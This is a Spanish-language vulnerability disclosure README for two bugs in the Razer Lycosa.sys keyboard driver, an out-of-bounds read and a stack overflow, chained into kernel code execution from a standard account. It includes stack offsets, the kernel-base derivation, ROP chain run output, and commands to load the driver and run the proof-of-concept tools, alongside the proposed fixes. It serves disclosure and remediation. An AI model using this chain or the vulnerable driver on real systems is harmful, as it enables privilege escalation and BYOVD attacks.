
Dos vulnerabilidades del kernel en Razer Lycosa.sys (divulgación de memoria CWE-125 + desbordamiento de pila CWE-121) encadenadas para escalada de privilegios local. Materiales de divulgación coordinada, verificados en Windows 11.
Descubierto a través de https://github.com/416rehman/DeepZero
Fabricante: Razer Inc.
Componente: Lycosa.sys, el controlador de filtro del teclado Razer Lycosa, x64
SHA-256: a120a6184ab16864e8a5f1dfd0cd178fca541de463b5cef946e18c34b9b6f716
Referencia del reportero: a120a6184ab16864
Estado: aún no reportado al fabricante.
Este directorio reporta dos defectos distintos en la misma rutina del mismo controlador. Tienen causas raíz y correcciones separadas, por lo que cada uno tiene su propia carpeta autocontenida y puede rastrearse y asignársele su propio identificador:
| CVE | Defecto | Tipo | Resultado |
|---|---|---|---|
| CVE-01 | La longitud de salida no se verifica contra el búfer, por lo que el controlador devuelve memoria de la pila del kernel | CWE-125 lectura fuera de límites | Divulgación de memoria del kernel, anula la aleatorización del espacio de direcciones |
| CVE-02 | La longitud de entrada no se verifica contra el búfer, por lo que el controlador sobrescribe su propia dirección de retorno | CWE-121 desbordamiento de búfer en la pila | Ejecución arbitraria de código en el kernel |
Ambos son accesibles desde cualquier cuenta que pueda iniciar sesión y ejecutar un programa. Sin derechos administrativos, sin elevación, sin privilegios especiales. Ambos fueron confirmados en Windows 11 25H2 (compilación 26200.8875) con integridad de código aplicada y firma de prueba desactivada.
La sección 3 describe lo que ambos representan cuando se usan juntos, que es la razón por la que se reportan al mismo tiempo y por la que la prueba de concepto encadenada vive en este directorio raíz.
Ambos residen en el manejador de IRP_MJ_DEVICE_CONTROL en RVA 0x1270, y ambos actúan
sobre el mismo búfer de 0x400 bytes en la pila del kernel. El prólogo, leído del
binario distribuido, fija la geometría para ambos:
Lycosa+0x1270 48 89 54 24 10 mov [rsp+10h], rdx ; Irp
Lycosa+0x1275 48 89 4c 24 08 mov [rsp+8], rcx ; DeviceObject
Lycosa+0x127a 48 81 ec 98 04 00 00 sub rsp, 498h ; the frame
Lycosa+0x1291 ba 00 04 00 00 mov edx, 400h ; the buffer size
Lycosa+0x1296 48 8d 8c 24 80 00 00 00 lea rcx, [rsp+80h] ; the buffer
Un búfer de 0x400 bytes en rsp+0x80, dentro de un marco de 0x498 bytes, sin registros
no volátiles guardados. Contando desde el inicio del búfer:
0x000 .. 0x3FF the buffer, which both defects are supposed to stay inside
0x418 the return address of the dispatch routine
0x420 the saved DeviceObject argument
0x428 the saved Irp argument
0x418 es 0x498 - 0x80. La divulgación (CVE-01) lee más allá de 0x3FF y devuelve
lo que encuentra; el desbordamiento (CVE-02) escribe más allá de 0x3FF y lo reemplaza.
DriverEntry crea el dispositivo sin descriptor de seguridad y publica un
enlace simbólico para él, por lo que es accesible en \\.\Lycosa:
IoCreateDevice(param_1, 0x20, L"\\Device\\Lycosa", 0x22, 0, 0, &device);
IoCreateSymbolicLink(L"\\DosDevices\\Lycosa", L"\\Device\\Lycosa");
Cada código de control afectado se decodifica como FILE_DEVICE_UNKNOWN, METHOD_BUFFERED,
FILE_ANY_ACCESS. FILE_ANY_ACCESS significa que no se debe poseer ningún derecho de acceso particular
sobre el handle, por lo que el descriptor de seguridad del objeto de dispositivo es la única puerta, y
concede acceso a todos.
Todos los resultados en estos informes se produjeron desde una cuenta de usuario estándar cuya
única pertenencia a grupos es el grupo integrado Users. La cuenta no tenía
derechos administrativos, no estaba elevada y no poseía privilegios más allá de los
predeterminados.
El controlador también se carga en máquinas que nunca han tenido hardware Razer conectado, porque el paquete está firmado válidamente por catálogo. Ese es el patrón utilizado en ataques de tipo bring-your-own-vulnerable-driver.
Se reportan por separado porque son defectos separados, pero un fabricante que los evalúe debe saber que cada uno empeora al otro.
Windows moderno carga el kernel en una dirección aleatorizada. Un atacante que puede sobrescribir una dirección de retorno todavía tiene que saber con qué sobrescribirla, y ese es normalmente el obstáculo. Este controlador responde ambas preguntas por sí solo:
CVE-01 elimina la aleatorización. La divulgación devuelve la propia dirección de retorno
de la rutina de despacho, una dirección de código dentro de ntoskrnl.exe. Restándole
su desplazamiento conocido dentro de la imagen se obtiene la base en la que se carga el kernel,
y a partir de ahí se conoce cada dirección dentro del kernel. Esto no cuesta nada y no
perturba nada.
CVE-01 también proporciona el valor que CVE-02 necesita para no fallar. Como se
describe en CVE-02 sección 4.4,
el controlador recarga el Irp desde el desplazamiento 0x428 a la salida y escribe
a través de él. Un desbordamiento ingenuo que alcanza la dirección de retorno también destruye ese
puntero y falla antes de que la rutina retorne. El exploit fiable en su lugar
detiene la copia exactamente en 0x428, dejando el Irp vivo de la solicitud actual
en su lugar, de modo que el controlador completa normalmente.
CVE-02 entonces redirige la ejecución, con la base del kernel ya conocida.
Desde una cuenta sin privilegios, la prueba de concepto encadenada lee el marco, calcula la base del kernel y la propia dirección del kernel del búfer, y envía una cadena orientada a retorno:
step 1, read what is above the buffer on the kernel stack:
+0x418 return address 0xFFFFF807D565CABB
+0x498 frame pointer 0xFFFFFD042D313750 (read twice, must match)
step 2, turn those into the two addresses the payload needs:
kernel base = 0xFFFFF807D565CABB - 0x25CABB = 0xFFFFF807D5400000
buffer on stack = 0xFFFFFD042D313750 - 0x500 = 0xFFFFFD042D313250
step 4, overflow with a chain that:
pivots the stack onto the buffer, calls nt!ZwCreateFile, and
resumes nt!IopfCallDriver+0x5b
sending 0x428 bytes
call returned: accepted=true error=0
PROOF: C:\Windows\System32\dz_lycosa_kernel_exec.txt now exists.
Esta es la cadena completa, verificada de extremo a extremo. La cuenta sin privilegios creó
un archivo bajo C:\Windows\System32, un directorio al que de otro modo se le deniega el acceso de escritura,
ejecutando nt!ZwCreateFile en modo kernel. accepted=true significa
que la llamada al sistema retornó normalmente: la cadena reanuda la dirección exacta a la que el controlador
iba a retornar (nt!IopfCallDriver+0x5b, que es add rsp,0x38 ; ret),
por lo que el hilo termina y la máquina sigue funcionando. El archivo creado fue
confirmado de forma independiente desde un shell de administrador. La transcripción completa está en
logs/exec_create_file.log, y el método está en
METHODOLOGY.md.
La lectura práctica es que este único controlador proporciona, a cualquier usuario de la máquina, ambas mitades de lo que normalmente se necesita para convertir un defecto de seguridad de memoria en ejecución de código en el kernel: la divulgación de direcciones que elimina la aleatorización, y el secuestro del flujo de control que la utiliza. Juntos se demostró que producen una acción privilegiada concreta con la máquina dejada en funcionamiento.
Las dos correcciones son independientes y ambas pequeñas, expuestas en su totalidad en cada informe:
OutputBufferLength, y establecer IoStatus.Information a lo que realmente se
produjo.InputBufferLength.Ambos informes también recomiendan crear el dispositivo de control con
IoCreateDeviceSecure y una cadena SDDL que lo restrinja a administradores y al
sistema. Eso por sí solo no corregiría ninguno de los defectos, pero eliminaría el
acceso sin privilegios que da a ambos su severidad.
Verificado antes de redactar, porque un informe duplicado desperdicia el tiempo de un fabricante:
https://aka.ms/VulnerableDriverBlockList y buscada en sus 1.713 reglas de denegación.
Este archivo no aparece. El único controlador Razer en esa lista es
Rzpnk.sys, un componente diferente.Creemos que ambos defectos no han sido reportados previamente y agradeceríamos cualquier corrección.
Varios otros controladores incluidos en el mismo directorio del paquete comparten la forma general de este controlador y se examinan por separado. Nada aquí es una afirmación sobre ellos.
pnputil /add-driver Flter2K.inf /install
sc create lycosa_test type= kernel binPath= C:\path\to\Lycosa.sys start= demand
sc start lycosa_test
Cada defecto tiene su propia prueba de concepto de propósito único en su carpeta, y esta raíz contiene la encadenada que los combina:
# CVE-01, reads only, safe to run anywhere, quickest confirmation of the report
rustc -O CVE-01-kernel-memory-disclosure/poc/lycosa_disclosure.rs -o disc.exe
disc.exe
# CVE-02, stops the machine by design
rustc -O CVE-02-kernel-stack-overflow/poc/lycosa_overflow.rs -o ovf.exe
ovf.exe --yes-crash-this-machine
# the chain: CVE-01 + CVE-02 into a file created in System32, machine left running
rustc -O poc/lycosa_chain.rs -o chain.exe
chain.exe --exec # default target under System32
chain.exe --exec C:\Users\Public\proof.txt # or any path you choose
Ejecutar todo desde una cuenta de usuario estándar. La PoC encadenada declara las dos
constantes del controlador de las que depende (FRAME y BUF_AT) al principio de su código fuente,
por lo que puede apuntarse a una compilación diferente del controlador cambiando esos dos números.
Los desplazamientos del kernel que usa su modo --exec son específicos de una compilación de Windows; el
programa verifica la base del kernel derivada en tiempo de ejecución y su modo --calibrate
informa el único valor que cambia entre compilaciones.
README.md this overview and the chaining analysis
METHODOLOGY.md how both were found and confirmed, in order
poc/lycosa_chain.rs the CHAINED proof of concept (both defects)
evidence/ the binary, its package, decompiled sources, dumps
logs/exec_create_file.log transcript of the chained run in section 3
CVE-01-kernel-memory-disclosure/ standalone disclosure for the out-of-bounds read
README.md, poc/lycosa_disclosure.rs, evidence/, logs/
CVE-02-kernel-stack-overflow/ standalone disclosure for the stack overflow
README.md, poc/lycosa_overflow.rs, evidence/, logs/